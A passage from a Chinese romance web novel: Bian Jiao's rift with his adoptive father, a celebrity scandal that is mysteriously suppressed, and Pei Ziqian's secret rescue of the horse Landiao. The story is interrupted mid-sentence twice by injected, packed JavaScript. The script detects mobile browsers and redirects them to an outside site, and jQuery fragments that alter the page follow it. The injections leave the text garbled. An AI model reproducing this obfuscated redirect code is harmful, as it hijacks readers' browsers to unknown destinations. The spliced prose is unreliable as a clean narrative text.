显然是突然反应过来卞皎的出现很奇怪,对方的问句带着明显试探。眼前这个人贸然敲门发问,一开始还以为他与裴子骞是朋友,可朋友怎么会不知道对方已经退学? 卞皎垂落视线,在心里想了几个回答的词,全都一一否下。 “……同学。”他最终讲:“高中同学。” 对方就点头:“这样啊。” 夜晚回到剧组,卞皎终于换下湿透的衣裳,他感觉自己脸颊、脖颈发烫一片,找了体温计测量,果然在发烧。 这半年来他的身体状况很差,在首都请假的两个月里有一次不过吹了半小时湖风,当晚就低烧,半夜呕吐。那晚郑怀远探了好几次他的体温,迷迷糊糊间卞皎都能看到他在自己房间的书桌椅边坐着,靠着一盏台灯打瞌睡。 昏黄的灯光下,卞皎头一次看清对方鬓间的白发。 就在那次发烧之前,他与郑怀远的父子关系几近破裂。 一切要回到阳市法院前的一周。 六月底,卞皎尚还听话,郑怀远要他在家里待着他就乖乖待好,在家中反复刷裴子骞以前讲过的书和电影,偶尔也会自己在楼下打篮球,几乎快把全小区的高中生打个遍,时不时想过要给阳市打电话,这种时候就会到最近的湖边去看夕阳,每当看见天空中的那抹暗蓝色,才会松下一口不算短的气,感觉逐渐消失的过去又出现在记忆之中。 直到七月第一天,郑怀远带卞皎去了一场朋友间的小饭局。 席上的叔叔阿姨卞皎认识许多,都是初中时期就见过的,还有几个同辈的小孩,大家以前多多少少都一起出去玩过。虽说卞皎已经高中毕业,但在饭桌上还是只能算孩子,于是待用餐过半衔接到下半场的酒局之时,他就被几个同龄人叫到隔壁茶室去玩游戏。 茶室开了个小包厢,大概三四个男生随意坐在沙发上,大家的目光都集中在手游屏幕里面,连闲聊都分不出神。 卞皎玩游戏挺在行,尤其是射击类,几局过去,有人放下手机狂吹卞皎带飞全场,卞皎就笑笑,蛮得意地说这一局也就一般吧。 原本是回复夸奖的玩笑话,这时旁边却有人像是被打击到了自尊心,甩出手机嘟囔了一句: “没正事干的人就是玩呗,当然玩得好,跟他爸一样。” 卞皎还没反应过来,方才吹他带飞的那位立马就转过来看说话的那人: “你他妈什么语气?自己菜就多练,扯什么有的没的?” 说话那人见状就站起来,丝毫不退让: “我说的有错吗?谁不知道他爸在外面欠了一屁股债,玩杠杆玩脱了倒是知道回来找前妻帮忙了,这么有本事早两年就别特么出轨小三啊……” 卞皎这时也站起来:“你说谁小三?” “说、你、妈,野种——” 卞皎一拳当即挥出,砰的一声对方趴到一旁沙发上,擦了下唇才反应过来发生了什么。 他指着卞皎:“小三养的野种还打人,老子他妈告死你!” 说完就冲上来要打回来,卞皎完全没退让,那会儿帮他说话的男生也直接插进来加入了混战,茶室里剩下的两人连忙上来劝架,却没一个人真的用力分开他们,推搡之间场面混乱无比。 直到在快一分钟后,其中一位劝架的回去通知大人,这场混战才终于结束。 郑怀远一冲进来就来看卞皎的情况,上下左右都没看到什么明显的伤才松了口气,刚扭头要找挑事儿的算账,这时却听到有一声清脆的巴掌声传来。 卞皎转头看去,被打的居然是帮腔自己的那位,而真正挑事的满脸是伤站在一旁,瞪大眼睛,显然也被这一巴掌震惊到了。 帮腔那位的家长分明什么都还没过问,但已开始给郑怀远以及挑事那位道歉,然后也叫自己小孩道歉。 “老子不道。”帮腔的那位梗着脖子说:“是他嘴贱。” 挑事的立马不服:“我嘴贱贱你身上了吗?他妈的卞皎打我就算了你凭什么……” “够了!”他的家长狠拽了他一下,然后朝郑怀远这边看了眼。 郑怀远当即像是反应过来了什么,他转过来问卞皎:“他说什么了?” 卞皎就将那人说的话复述了一遍,末了讲:“我知道不该打人,但就是忍不了他造谣我妈。” 郑怀远听完没有说话,只转过来和那位家长对视一眼。 那位家长就忽然说:“小孩子嘛,打打就过去了。这样,我做主,这事就这么算了。” “爸!”挑事的满脸惊讶:“我被打成这样,你凭什么算了!” “说话没分寸还敢问凭什么?” “可我说的都是你告诉我的——” “闭嘴!” 这句话一出,整间茶室立马安静下来,卞皎尤其猛地抬眼看向那位叔叔。 他知道那位叔叔与自己父亲已经相识十年有余,比自己和郑怀远认识的时间都长。过去母亲还在世的时候,两家人还常在一起吃饭。 卞皎不能接受,问:“叔叔,你为什么要那么说?” 那位家长没回答,就看了郑怀远一眼,然后像是两方确认了什么,直接转身推着挑事的走出茶室。 卞皎就转头看郑怀远,郑怀远则像是刻意避开他的视线,只说:“确定没事?有没有身上哪里疼……”说着要来活动卞皎的手臂确认没有骨折什么的问题。 其他的人这时也相继离开,很快整间茶室就只有父子二人。 “爸。”卞皎倏忽说:“他说的不是真的。” 郑怀远正在看卞 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他的眼睛一眨不眨地盯着郑怀远的眼睛,郑怀远就看见他的眼眶里好像在反着水光。 左眼上方那颗痣跟随着睫毛微微颤抖,然后就是卞皎轻声开口:“爸……” 他的声线颤抖,像是碎玻璃,又像碎絮在风中飘荡—— “你的话,我还能信吗?” 这天之后,卞皎就把自己锁在房间里,一句话也不和郑怀远说,郑怀远从他房间边路过时,只能闻见薄荷香薰的刺鼻气味,像是一把结着冰的利剑一样,直通鼻息往人大脑里插。 才开始时,他尝试过和儿子求和,但是不论他说出多长一段解释安慰的话语,对方都只会在最后问一句话:“你和我妈在一起的时候,离婚没有?” 郑怀远一辈子撒过千万个谎言,偏偏在这时再说不出肯定答案。 卞皎等待片刻,知道已经得到回答,就会垂落视线轻轻翻阅手中的书页,不再理他。 期间郑怀远害怕卞皎一时冲动和阳市的人联系,再一次收走了他的手机。翻了下通讯记录,尤其注意了一下备注为“裴子骞”的那个号码,看到上一条通话记录还停留在三月初,他这才松了口气。 郑怀远没能从小把卞皎看着长大,但一直都以对方生身之父的身份自居。 他知道卞皎在阳市的时候很开心,孩子的状态会影响大人,也隐瞒不了大人,看见卞皎终于找到了朋友,他这个做父亲的当然比谁都高兴。所以当某一次家长会,在阳中校园里撞见卞皎的那个家教穿着高中生校服时,郑怀远直接当做没看见一样就移开了目光。 还记得试课的那个中秋结束,他问过卞皎对这位家教是否满意。 当时卞皎嘴上说着不喜欢,但却并未追着他要换掉对方,郑怀远没有当场戳穿,但过了一会儿回到室内还是忍不住打趣。 “别装了,老爸不会因为你们聊得来就把他换掉,我是那种家长吗?” 那时卞皎就抬起眼睛,很崇拜地对他说:“老郑,你太好了。你是我肚子里的蛔虫吗?” 他的整双眼眸像极了他的母亲,映照着窗外金湖的波蓝银光,眸光闪闪,仿佛万事万物都能在他的目光下变成最无邪的风景。 那时是多么好的日子。那是多么清澈的一双眼睛。 究竟从什么时候起,一切变了模样? 37.B-如此3 在海市淋过大雨的这个深夜,卞皎的脑海里只不断重复着两个曾经最亲密的身影。 一个他已无法把握,另一个还尚可珍惜。 这次从海市回到首都后,卞皎的重感冒终于痊愈,也终于结束了与郑怀远的嫌隙。 很难说清他究竟是原谅了对方,还是仅仅觉得没有必要再这样下去。 郑怀远并非他的亲生父亲,但却真真正正养育了他这么多年,虽说后来有隐瞒、欺骗,可父爱从未虚假。天底下哪段关系不是由这些复杂的过往构成的?并不是每一个人都拿着计数器去衡量你对我有多好,我又回报了你多少,衡量我们之间有过几次争吵,彼此谁先低头最多。如果爱里只有这些,那真的就太少了。 后来卞皎才了解到,在他这次拍摄的期间郑怀远就已入过一次院,但却不允许红姨告诉他。直到近一年后脑梗真正发作,红姨才讲说那时你爸就得过一次小中风,医生说他不能再像那样喝酒下去,谁知道他不把自己的命当命,这样的事情,谁也没有办法。 卞皎那时正在医院缴费,听到这样的话后竟然一时怔立着不动,手上的付款码还放在扫描机上,直到护士和红姨提醒了他好几次,才终于像回过神来般走开。 他浑浑噩噩地坐到旁边的铁椅上,手里的手机慢慢慢慢失力掉落地上,眼前不断闪过许多场景,但却没有一幕能够凝结成现实。耳边喧嚣像是另一个世界,他突然觉得自己被孤立出来。 整局二十岁,活得全盘皆错。 什么都错,什么都错过,不管是爱情,还是亲情,又或者是友情,他统统没有一样好好把握。 最错的是,他明明有办法不错。 如果那时他没有选择接那部电影,没有跟随剧组去到海市,他就不会错过郑怀远疾病的先兆,作为儿子,他完全可以督促父亲注意身体,他完全有机会要对方把自己的命当命,他完全有办法,至少有办法降低这一切发生的概率。 可是他仍然做错。 就像在法院那次走出门外。 那天他在郑怀远在与别人的对话中听到无数个假到荒诞的谎言,恍惚间满脑子想的全是自己母亲的事情。 他想为什么,分明自己的亲生父亲就是出轨离家,为什么母亲要做这样的事情,为什么郑怀远要离开他的原配出轨,为什么要一直把自己蒙在鼓里,一直到奔下车在路边某棵不知道什么种类的树下干呕,呕到喉咙里一阵腥辛酸刺,他才反应过来刚刚在法院门口,自己好像有与裴子骞对视。 那分明是他期待好久的对视,等待好久的对视,可那时他什么也没有做。 他甚至连多停留一秒目光在对方身上都没能做到。 就像是刻意回避,他知道自己父亲的谎言给对方带来了多大的打击与伤痛,与其说是担心对方不愿意见到自己,不如说是害怕,甚至连联系对方的勇气都没有,他觉得就像现在自己对郑怀远的怨恨一样,对方一定也这样怨恨着自己。 他觉得,却不想这样的觉得真正变成现实,就好像只要没有听到对方真正说出口,那他们的关系就能一直停留在有无限可能的时候。 时至今日,卞皎才终于反应过来一切都不是正确选择。 他逃避与裴子骞的感情问题,逃避郑怀远代表的复杂的成人世界,甚至逃避曾经的自己。好像又回到了很多很多年前那个周末,他按照母亲的话对所有大人的任何问题回答不知道,只要白天成功逃避,夜晚就能在温柔的怀里甘甜入睡。 可是如今他已没有母亲,也无法再一觉到天明。 这次来阳市的前一天,他下午见过心理咨询师,夜晚便又做了一场梦。 梦里他先是回到了阳中那条桂花大道上,裴子骞就站在他的面前,他上前取掉对方头发上的那几粒淡黄花瓣,然后一句话也没有再说。接着又回到金湖别墅二楼,打开那通蓝白色包装的壮骨粉后他先于对方抬头,说出告白的话语。最后到法院那一天上午,他与对方对视后停下脚步,一步一步朝那棵枝叶如盖的香樟树下走去。 他在梦里没有逃避。 可这场梦的最后结局并不如意。 梦里香樟树下,裴子骞只静静与他对立站着,面庞被浮云斟下阴影,直到手中的那根香烟燃出一截影白的烟灰,他才忽然垂下视线抖了抖,接着转身离开。 果断干脆仿佛面对透明。 没有与他说一个字。 醒来后卞皎在床头怏然许久,才反应过来这场梦在现实中并未发生过,可一幕一幕却无比真实。 尤其是裴子骞的眼神,冷漠至极。 直到几天后的傍晚,卞皎真的再次见到了裴子骞。 那一场梦的结尾瞬间浮现在眼前,伴随着香槟的冰冷漫卷他的大脑,这一次,他终于不想再选择逃避,就像少女选择嫁与国王,世界上总有些事情即使已经预料结局,你也依然要做。 可惜现实真的不是童话故事,结局并不出卞皎的意料。 当裴子骞说出两不相欠那刻,他的脑海里一片空白,然而片刻之后,却竟然轻轻笑了一声。 一段关系时隔多年终于得到终结,说他不难过那一定是假的。尤其是重新回到金湖区外,过去的一幕幕像被定格的电影片段一般在眼前回放,他有那么一瞬间甚至想时空倒转到交流会前,如果他没有饮一杯香槟,没有找裴子骞要聊聊,一切也许就尚能保留在那个允许他暗含期许的状态,至少他们之间的关系不至于如此干净利落,利落到叫人都能列出开端与结尾,作下笔墨后悔的序与跋。 然而后悔是真心的,轻笑却也是真心的。 当裴子骞的背影离开时,大堂吧外的天已经陷入一片暗蓝,卞皎望着远处零落的橘黄路灯,忽然想起很久很久以前看到的那场日出。世间的因果环环相扣,过去以为再难说出口的话,再无法面对的曾经,在这一天好像也都已经成为无数种因,指向了这一天的果。 人独自行过生命,蒙受玷污,承担罪过,痛饮苦酒,寻觅出路—— 他早该料到,也早已料到,不是吗? 因此半个月后的今天,当刘成提出要带卞皎去爬山时,他的眼前就再次浮现出曾在凌晨四点见过的那片幽蓝。 当第一抹阳光划过云层,曦照大地,群山终于从阴影之中脱身。 “我想看日出,只是想彻底接受一些现实。” 卞皎抬起眼,对刘成说:“不过即使没有看见,每天的太阳也都恒常升起。” 世界如此,太阳如此。 裴子骞如此。 他又怎么能不如此。 - 杀青这天的最后一场戏,取景在阳山中学。 久违回到母校,卞皎内心并没有什么波动,只是站在桂花大道上看着昔日缀满花瓣的枝头如今独剩绿色之时,总有一种隔世之感。 这一天是周三,教学楼里的学生尚且还在上课。 卞皎在一旁候场,这时忽然感觉有人叫了自己一声,回过头来发现面孔相熟,反应了一下才认出来居然是高中时期的班主任。 对方仍然梳着一头教师头,容貌和几年前相比没有分毫变化,上前同他寒暄了几句。 他讲真是想不到卞皎现在竟然去演戏。 这部戏又恰好在阳中取景,莫大的缘分,待到时候上映,他一定号召全体学生去支持。 卞皎笑了下,说自己不过是演一个小角色,今天就杀青。 “这么快。”班主任有些吃惊,不由感叹道:“这么些年没回阳市吧?怎么样,有没有和高中朋友聚一聚?” 卞皎官方地回答没有,忙着拍戏一直没有时间。 本想迅速了结对话,却见班主任点点头,又忽然像想起什么有趣的事情。 “诶,说起来,你还记不记得你们年级当时的第一?叫什么来着,裴……” 卞皎心间一烁。 “裴子骞。”他提醒,接着手指捏了捏,垂眸看向手中的剧本。 “哦,对,是叫裴子骞。”班主任颔首,兀自说:“前些年,你不是找我要过一次你们年级的去向统计吗?那时我忙,后来才想起来这件事真是巧得不行,就在你之前不久,高考录取结果才出来的时候,那个裴子骞也来找过我要录取状况。而且……” 他故弄玄虚停顿一刻,说: “他点名道姓要你的。” 卞皎的视线低垂着,原根本没有兴趣对方闲聊的话题,然而听到最后一句话后却忽然凝滞。 从好似乱码的剧本中蓦然抬头,他问:“他……他找过我?” 班主任摇摇头。 “那不知道,他只是来要了。” “什么时候?” “七月底嘛,刚出结果。真没想到你们居然有联系,他当年高考发挥失常,年级还劝过他复读……” 卞皎攥着剧本的手指越来越收紧,眼底情绪复杂不知道在想着什么,刚刚张唇似乎想要说话,却听后方有人叫了声他。 “小皎!”是刘成的声音。 卞皎还没回过神来,刘成就已小跑到他的面前。 “你下午看热搜没有?” 他的语气明显带着一丝焦急。卞皎的眉早在不知什么时候就已皱紧了,这时听了刘成的话就伸手去取手机,有些魂不守舍:“怎么,有什么事……” 刘成制止他:“还没看就先别看。” 卞皎这才像是刚刚思绪回笼,抬眼看他:“怎么了?” “方岑的事。”刘成说:“他最近不知道惹到哪家被黑得体无完肤,红姐那边的背景都扒了个透,甚至扯到他姨妈,碰巧前两天他转发过《南城往事》的宣发,现在已经有人顺着扒到你。” “扒到我?”卞皎凝了下眉,立刻反应过来:“我爸的事?” 刘成没有应这句问,只说:“现在规模还小,至少还没到上热搜的地步,公司已经在联系人控制,但是方岑那边的问题,很不好解决。” 他这样说,卞皎就知道一定是郑怀远的事被人翻出来了。 当初红姨和刘成劝过他很多次和方岑合作,甚至方岑也主动提出过邀请,但卞皎从未松口,就是这个原因。 如若与方岑绑定发展,一旦自己家里的事情暴露在人前,就必然会影响对方的事业。 就在这时,刘成忽然接到一条消息,查看之后表情陡僵:“上热搜了。” 卞皎按开手机要去看,刘成却一把夺过。 “不用担心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400527|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的目标不是我们,一定可以控制下来。” 刘成的说辞安慰意图太过明显,任谁看都知道情况一定不妙。 但卞皎却出乎意料的冷静。 “没有事,”他说,“成哥,大不了拍完这部就退圈,我本来就不是大火的命。” 他早已厌倦没日没夜的拍摄,面对镜头永远微笑。 早在半年前他了解到一个和动物保护相关的国际义工项目,恰好与他大学的专业相关,有多个地点开展,其中他最感兴趣的是马来西亚东海岸的某一个州,机程大概十五个小时左右,可惜一直没有时机。 其实他也知道,时机这种话不过是借口。 当一个人拿出时机二字,那么很大可能在他接下来的一生中都不会再有所谓的那个时机出现。 “不要说这种话,”刘成说,“我们都不求一个火,谋生就够了。” 卞皎听了他的话后没有再说什么,只轻轻点头,接着回头看了眼,想再和方才的班主任问些什么,却发现对方早在不知什么时候离开。 他于是收回视线看向手中的剧本。 刚刚打开的这页已经被他攥得皱褶遍生,纸张泛潮,线条复杂,熟悉陌生。 - 下场戏就是卞皎的,一场父子兄三人在校园相认的情节。 信息社会消息传播的速度超乎想象,尤其是在娱乐圈这样的名利场,任何风吹草动都能立马体现在现实之中。卞皎到片场时,来催场的工作人员态度明显相较昨天要疏远了许多,维持在一个不远不近的安全距离,刘成皱了下眉,就挡在工作人员前看着卞皎入场。 好在卞皎在镜头前的状态没有受到影响,笑起来与身旁扮演父亲的演员深深拥抱,远远可以看见导演给了他的眼睛一个特写镜头。 监视器中那双眼眸湿润低垂,睫毛根上缀着透明泪水,看起来俨然是一种幸福到了极致的落泣,刘成看着这张由自己亲手带进圈中的年轻面孔,内心顿然百感交集,总感觉自己的鼻间也酸涩起来。 忽地,手机传来振动,刘成低下头看了眼来电显示,随后立即抹了把脸跑到场外接起。 来电是公司的公关负责人。 “控制住了。”对方一接通电话就说。 刘成瞬间感觉卸下一口浊气,立刻退出通话页面去翻热搜。 果然那会儿看见的东西此时已经全无踪迹,然而下一秒他就腾起疑惑:“怎么这么快?” “这事我们也奇怪。”对方说:“不单单是控制住了热度继续上涨,连几个源头的黑贴都消失了,原本已知有几家媒体准备下场搅浑水,现在看来也都偃旗息鼓,单凭我们的发力根本做不到这种效果。” 刘成想了下问:“方岑帮忙了?” “不大可能。我刚刚联系了方岑那边,他们尚且还自顾不暇,而且这处理得太干净利落,不像他工作室的手笔……是不是你们找外面的营销公司了?” 刘成说:“绝对没有。” “那真的怪了。”对方停了下,就说:“这件事背后绝对有人在出手。” “要不,你问问卞皎?” …… 刘成处理了一会儿后续的事宜,回到片场时,卞皎刚下最后一场戏。 全家团圆的戏码,戏中的父亲与郑怀远年纪差不多大,两鬓可见白霜,却不及郑怀远花白得厉害。结束后立即有工作人员为卞皎送上来一束花,粉紫色芍药插上几支洋桔梗,刘成也从边上上前来为他拍了几张照片。 暮色的焰蓝天空下,卞皎的双眸看向镜头,眼尾笑得有些泛红。 也许是因为扮演一个角色一整个月,又也许是因为明天就要离开剧组,离开阳市,这样的最后环节里,他倒真有些不舍得。 拍照环节结束后,导演陈沃乡同他说未来可期,期待下次合作,他还提到他有一部电影在筹拍,半年后开始选角。这令卞皎有些意外,他才有丑闻被曝光,对方竟然在这时对他发出邀请。 陈沃乡看出他的错愕,就笑说:“毕竟是艺术,有时候我也是很纯粹的。” 卞皎忙称对不住,陈沃乡却哈哈大笑与他道别,末了还叮嘱他到时候一定要来试戏。 刘成这时上前来,问他陈导说了些什么,卞皎如实说了。刘成不住高兴:“我说什么?是金子总会发光,只要不下牌桌。” 卞皎笑着摇摇头,要朝外走。 刘成就提起热搜一事,将公关那边的话原封不动说与他听。 卞皎的脚步逐渐停下。 “有人出手?”他问。 “是,”刘成说,“想来确实不对劲,你还记不记得之前慈善晚会那晚的事?当时发生得太突然,我只想着怎么保你从里面出来,没来得及联系公司公关,后来才发现网上居然没有一条议论,按理说不应该。那时原以为是那个杂种自己心虚封锁的消息,还想他真的没必要费这么大功夫,现在再看,才觉得另有其人。” 卞皎的眉间凝起,眼底神色变得复杂。 刘成见状,就知道对方心中一定已有人选。 果然卞皎脚步调转,却又停在半程,像是在抉择什么一样,最后对他说: “成哥,你先走……我打个电话。” 38.N-道谢1 首都机场。 裴子骞回国已有两周,今次要与宋清飞海市一趟。 宋清昨天才从香港回到首都,半个月来除开工作外没有与裴子骞有过任何通讯,昨晚二人终于碰头跟进工作事项。 不出意料,对方问了几句上次阳市发生的事情,但裴子骞没有一句答话,追问一番后就共同进了饭店包厢上生意场,觥筹交错起来,最终也就作罢。 直到翌日午后,一同乘机。 飞机在下午两点三十五分。候机厅内宋清反常地没什么话要讲,但在某声消息提示音响后,他看起来又像是心情大好,在沙发里抓耳挠腮了一阵,不知从哪里掏出一个巴掌大的笔记本。 “来吧,更新到终章。”他对着裴子骞:“此前的那些线索统统不需要,我已经见过真人了。” 裴子骞看了他一眼,没有回应。 “能不能配合一点?”宋清啧了一声:“那天酒店你们聊了那么久,连最后和领导的合影都错过,剩下我一个人在那里赔笑,你做项目的时候总逼着大家有始有终,总不能现在连个结局都不告诉我吧?” 裴子骞只垂眸滑动手中平板,像是在搜寻什么资讯。 “你都说了是结局,那就没什么好聊了。” 宋清笑了声:“结局也分很多种,又不是像工作,给出结项报告就能算结束。我猜想你们那通对话至少讲清楚了一些误会,但从你现下的状态来看……应该没有得到想要的答案。Chan,我们在国内待的时间还长,你要恋爱的话,我可以勉强为你分担一些工作,不必客气。” “没可能。”裴子骞回答得很果断。 “怎么没可能,分担一点工作的效率我还是有的。” “我是说,”裴子骞抬头,“我没可能恋爱。” 宋清闻言怔了一下。 “这么决绝?”他用上新学来的词语,“不会吧,那天不是他主动来找你聊开……” “聊开也分很多种。” “那你们是哪一种?” 裴子骞没有回答,重新看回手中的资讯,眸光倒映电子光线。 宋清盯着他,叹了声气:“我真不知道你究竟在想什么……算了。” 他打开手机,翻出一条邮件递过去。 “讲点开心的,昨晚回酒店后我与席上那位老总聊了一会儿,好消息是你的那个项目他们可以接,最快的话两个月后就能得到第一批产品。” 裴子骞接过手机,翻阅了半分钟后,递回问:“坏消息呢?” “没有坏消息。并不是每一次有一个好消息,就一定会有一个不好的消息。” 裴子骞就看着他。 “……好吧。”宋清妥协:“确实有一个不怎么好的消息。” 裴子骞嗯了一声,示意他说。宋清刚要开口,中间的桌上却传出来电震动,两人同时低眸。 是宋清的手机。 陌生号码,裴子骞扫了一眼便移开视线,宋清却没有要接的意思,直接挂断。 “骚扰电话防不胜防。”他啧了一声,重新拾起前句主题:“刚刚说到哪了?哦,不好的消息就是……” 震动这时却又响起。 宋清这下顿了一秒,和裴子骞说了声抱歉就接起。 他礼节性地应了下招呼,明显对面是陌生人,“没有错,你是?……” 忽然他抬头看向对面的裴子骞。 “……稍等。” 裴子骞正在垂眸查看文件,察觉到他的视线后侧了下头:“怎么?” 宋清用口型说:“找你的。” “谁?”裴子骞没有准备伸手接电话的意思。 宋清捂住麦,带了点气音:“你情人。” 裴子骞的眉凝了一下。 宋清就说:“你的月亮。” 裴子骞表情陡变,似乎一瞬间就解其意,滞了两秒后,拿着文件的手微微一动似乎要抬起。 宋清却在这时起身,没有要将手机递给他的意思,兀自走到一旁。 “好,你说,没关系……” 裴子骞只能看到他的背影,目光紧紧停留在那只手机上。 不知这通电话究竟讲了些什么,总之快半分钟后宋清忽然转了下头,朝裴子骞指了指电话,意思是要结束了,你要不要接? 裴子骞摩擦了下手指,摇头,幅度极小。 宋清就挂完电话后坐回来,语气有些恨铁不成钢:“你为什么不接?” “你的电话,我为什么要接?” 宋清看了他两秒,忽然笑说:“哦,你嫉妒了。他给我打电话,没有给你打。” 裴子骞没有任何回答,视线重新移回到手中文件里。 宋清就把手机平放在桌上:“先声明,我绝对没有和他有过什么联系啊。可以看见这是一通陌生来电。” 裴子骞依旧没有反应。 “在装什么?”宋清嗤笑一下:“好了,他给我打电话是因为他只能要到我的电话。我算是知道你为什么喜欢他,很聪明,他讲他是昨天找剧组要的投资方联系方式,我投这部电影用的是外籍身份,他却一通电话就问我是不是宋先生。” 裴子骞这时总算抬了下眼。 “你说他找我。” 宋清不答,只说:“说吧,你做了什么英雄救美的事。” “他讲什么?” “先说你做了什么。” 裴子骞合起文件说:“什么也没做。” “Liar。”宋清说:“什么也没做他会让我代他致谢你?” “哦。”裴子骞说:“原来他致谢。” 宋清瞪了下眼睛,意识到自己被套话,顿然悔恨交加。 扶额半晌,他忽然抬眼,似是找到新的交换条件:“你告诉我你做了什么,我给你他的号码。怎么样,这个条件够可以吧?” 裴子骞却看他一眼,换了话轮:“他只是致谢么?” 宋清说:“不然呢。” “那你为什么走远?” 宋清闻言皱眉:“我走远接电话啊。你不是不接吗,我难道晾着他?现在倒是问上我。真想不通你们这些人都在纠结些什么,对方的电话都打上门了还讲没可能恋爱,非要错过了才……” 说着他逐渐停下,因为裴子骞的表情明显阴了许多,整个人的气场看起来不是很美妙。 宋清立马很有敏感度地转换话题:“OK我刚刚讲到哪里?对,坏消息——” 对方却忽然起身。 他的眉眼间有暗色,俯身从黑色大衣中取出一盒烟,头也没侧地对宋清说:“上飞机再说。” 宋清就看着他那修长的指尖抽出一根烟,含在唇上,朝吸烟点走去。 待他再度回来时,果真已经开始登机。 落座后,宋清看了眼他的手指。 “你这烟越戒越短命啊。” 本是有意活跃气氛的调侃,谁料对方并没有笑,只是说:“活那么长干什么。” 宋清实在看不明白,只能评价一词:“悲观。” 接着他取出一份文件递出。 “行了,那就谈项目吧。不好的消息是成本问题,那边的报价不低,德国市场我做过调查,这个产品的需求量并不大,你知道马术本来就没有那么普及,何况遇到这类问题时,当下更多人的选择是将马安乐死……” 裴子骞打断:“利润问题并不需要你多做担心,这个项目是我的私隐,与Oneiro无关。” “我不是以Oneiro为出发点和你讨论,”宋清说,“算了。总之你自己看着办。” 他将文件丢到裴子骞桌上,少见的没有耐心。裴子骞也没在意,只伸出手取起文件,骨节分明的手指缓慢翻阅。 这个项目是回国前夕他交由宋清主导,内容聚焦动物假肢,主要对象是受伤的马匹。 其实宋清所说并没有错,不止德国,马术在全球范围上讲都不算普及。 即使赛马已经是历史最悠久的运动之一,伤马的治疗以及后续痊愈、保养依旧关注度不高。马的生理结构特殊,腿部受伤后治疗难度很大,因此面临这个问题时,大多数马主的处理方式都是进行安乐死,以避免浪费过多经济成本。 裴子骞也曾面临这样的问题。 大概四年前的春天,他正在准备天空球的那场工业展会,为此往返国内与德数次。 期间他翻出曾经在阳市的那张旧电话卡,庆幸的是接近一年未使用的号码并未被回收,在新手机上充值话费后还能使用。展会开始的前一天,他刚从国内回到慕尼黑,躺在宿舍里预备一觉睡到第二日晨,然而半夜时分,那部装有国内手机卡的电话响了。 即使是公寓式宿舍,半夜铃声响起也会害怕打扰其他房间的同学,裴子骞起身从背包底部翻出手机,按下接通。 电话那边自称是马场,询问他是否在他们那里购入过一匹马。刚经历长时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406568|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞行加之被打断的一场睡眠,裴子骞只想自己连马术都不会,怎么可能买马,只当又是什么杀猪盘,当即就想挂断电话。 这时却听那边说: “您的马今天病情加重,我们是来向确认最后一次,是否真的决定将蓝调进行人道处理。” 裴子骞立时怔愣一瞬,问:“蓝调?” 对方称是。 裴子骞并不清楚这通电话怎么会打到自己这里,但他清楚马主是谁。 询问后才知道,原来蓝调在一个月前腿部意外受伤,而马主决定放弃治疗,选择人道处理。 电话结尾他告知对方这匹马并非他所有,但如若马主真的选择安乐死这种极端选项,他愿意将马购为己有进行治疗。马场就答这件事情他们不能决定,但可以给他马主的联系方式。 裴子骞握着电话沉默几秒,说:“不用,麻烦你们代我联系。无论对方开价多少我都接受,但有一点,希望不要向他透露我的任何信息。” 马场闻言有些为难,裴子骞称可以给出二十个点的中介费,只要办成这件事情。这之后,不到一周他便接到电话,被告知已完成交易。 后来裴子骞从欧洲找过最顶尖的兽医回到阳市。 到马场的第一天,近郊的天空一片湛蓝,见到蓝调的那刻他有些恍惚。 其实在他的记忆里,已经不能记清这匹马的种类或是特征,只知道它是一匹黑马,尤其一双眼睛乌黑纯粹。他靠近时,它正站在最里一侧的马厩中,背后就是绿茵和蓝天,面对他的走近而轻轻低头,鼻背上那一点白色的毛发就随着动作下垂。兽医讲这是积极信号,或许他可以试着抚摸它。 裴子骞就抬手,轻轻触碰到它黑色的鬃毛,果然蓝调没有反抗。 感受着手心传来的触感,裴子骞第一次有想要学习马术的冲动。他想这分明是一匹黑马,为什么要给它取名为蓝调,名字是否合适分明当初就能看清,怎么又等到如今才反应过来。 他想原来那个人真的那么狠心,不想要的东西,真的就可以随手抛弃。 其实回国前裴子骞最无法放下的事情,并非高考前后的断联,也非法院的对视,而是蓝调曾有可能经历的人道处理。 他知道负债并不能影响郑怀远的生活,就像流水千万上亿的人往往有着常人无法想象的债务,只要有郑怀远在,卞皎绝不会缺少为蓝调治疗的钱,可对方却还是狠心选择安乐死这条路,为此,他一度在心中说恨。 直到慈善晚会那晚意外相遇,一条隐缝被撕裂,卞皎的五年时光终于得以触碰,他才得知郑怀远早已脑梗入院的消息。 这个消息可以代表很多。 比如或许对方并非不想医治蓝调的病,而是根本无法出手,又比如在他痛苦的时候,对方也没能如他想象的过得有多么畅快,再比如他与卞皎之间,也许真的没有那么深不可填的嫌隙,也许一切还有得聊,有得揭开。 但,五年时间过去,连金湖边都修建了一条商业街,小巷的自建房区也早已在不知什么时候被拆迁了一大半。一切岁月流逝的痕迹都在告诉他,直线不过曾经交叉,再放不下也应该放下,你的难题并不属于对方,故事的终点就该是互不亏欠。 所以当宋清在候机厅里询问结局时,裴子骞没有回答。 事到如今,他才意识到自己苦苦追寻的原来一直都不是真正想要的解脱。 他并不想要故事真相,也不想要有始有终。 